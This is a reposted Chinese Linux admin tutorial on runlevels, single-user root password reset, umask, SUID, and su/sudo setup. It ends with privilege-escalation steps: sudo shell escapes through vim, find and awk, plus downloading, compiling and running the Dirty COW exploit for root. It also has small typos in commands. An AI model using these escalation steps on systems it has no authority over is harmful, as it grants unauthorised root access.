Linux基础---14提权
一.运行级别
Centos6修改模式命令:init
+ 运行级别
运行级别表格
级别 | 解释 |
---|---|
0 | 关机 |
1 | 单用户模式 |
2 | 不带网络的多用户模式 |
3 | 完整多用户模式 |
4 | 保留 |
5 | 桌面模式 |
6 | 重启 |
----------------------手动过度条:Centos6通过数字来修改模式,Centos7通常用英文字母来改---------------------
Centos查看当前运行级别命令:runlevel
Centos查看当前运行模式命令:systemct get-default
、
Centos7修改模式命令:
systemctl set-default
+ 模式
模式如下图,图中的3表示运行级别表格的级别3完整多用户模式,也就是平常我们使用的这种模式。图中的5代表的是级别5桌面模式,你想从级别3跳到级别5,前提是你先前安装了桌面相关的程序。
---------------------------------手动过度条:Centos7单用户运行级别修改roo码--------------------------------------------
Centos7单用户运行级别修改roo密码:
-
reboot
重启,按e
键
-
修改文件内容
找到Linux16部分将ro rhgb quiet
修改为rw init=/bin/bash
-
按
Ctrl + x
后进入到单用户模式,输入passwd root
修改密码。(中文会出现乱码,不影响修改,连续输入两次你修改的密码即可完成修改) -
单用户模式重启命令:
exec /sbin/init
,输入后直接进入到多用户模式即可完成修改。
二.权限掩码
1)掩码
查看掩码值指令:umask
修改掩码值指令:vi /etc/profile
2)inode和block
inode:全称index node 意为索引节点,索引为文件路径。
block:存储文件的内容
查看硬盘空间命令:df -h
查看inode空间:df -ih
三.特殊权限suid
简单名词解释:suid用来标记此可执行文件具有super超级管理员权限。含有s的文件,表示可以让普通用户拥有此文件属主的执行权限。
例1:收回普通用户修改密码的权限
查看passwd文件的权限:ll /usr/bin/passwd
(文件路径可以换成自己想查询的文件路径)
如果我们要收回普通用户对此文件的执行权限,我们执行此命令:chmod u-s /usr/bin/passwd
例2:给普通用户netstat加上执行权限
普通用户是查看不了具体的网络信息的,若我们要给普通用户加上这个执行权限,我们输入:chmod u+s /usr/bin/netstat
即可。
四.su和sudo
1) su
su全称:switch user 切换用户的意思
常用指令:
- 切换用户指令:
su - 用户名
或者su 用户名
- 退出用户:
exit
2) sudo
sudo全称:superuser do,用来将root用户的权限授权给普通用户。
开启sudo的方法:
-
在root用户下配置/etc/sudoers:
visudo
进入到配置文件里。 -
利用快捷键:
100gg
直接跳转到第100行,在root行下面添加权限。添加权限时需要用权限的绝对路径添加。 -
wq!
保存退出后,切换到普通用户下,sudo -l
查看是否修改成功。 -
最后我们添加的指令前加一个
sudo
就可以执行我们的命令了。如我的是sudo reboot
,即可重启。
五.Linux普通用户权限
1) sudo提权
前提条件是/etc/sudoers 下普通用户权限是ALL
- 利用vim进入root用户:
:!/bin/bash
或者修改vim /etc/shadow
下root密码 - 利用find进入root用户:
sudo find . -exec bash \;
- 利用awk进入root用户:
sudo awk 'BEGIN{system("/bin/bash")} test.txt
2) dcow提权
脏牛提权概念:
dcow:全称为dirty cow ,意为脏牛。原理是Linux内核的内存子系统在处理写入时复制(copy-on-write)时产生了竞争条件。恶意用户可利用此漏洞来获取权限。
脏牛提权的前提条件:
使用dcow的前提条件虚拟机和gcc需要符合以下版本:
脏牛提权的使用方法:
- 下载dcow地址:https://github.com/gbonacini/CVE-2016-5195
- 上传到虚拟机上并
unzip
解压 - 进入到 CVE-2016-5196文件夹里:
cd CVE-2016-5196
make
编译文件夹- 运行dcow:
./dcow -s
,直接进入root用户。
原文地址:https://blog.csdn.net/weixin_50045856/article/details/142455055
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!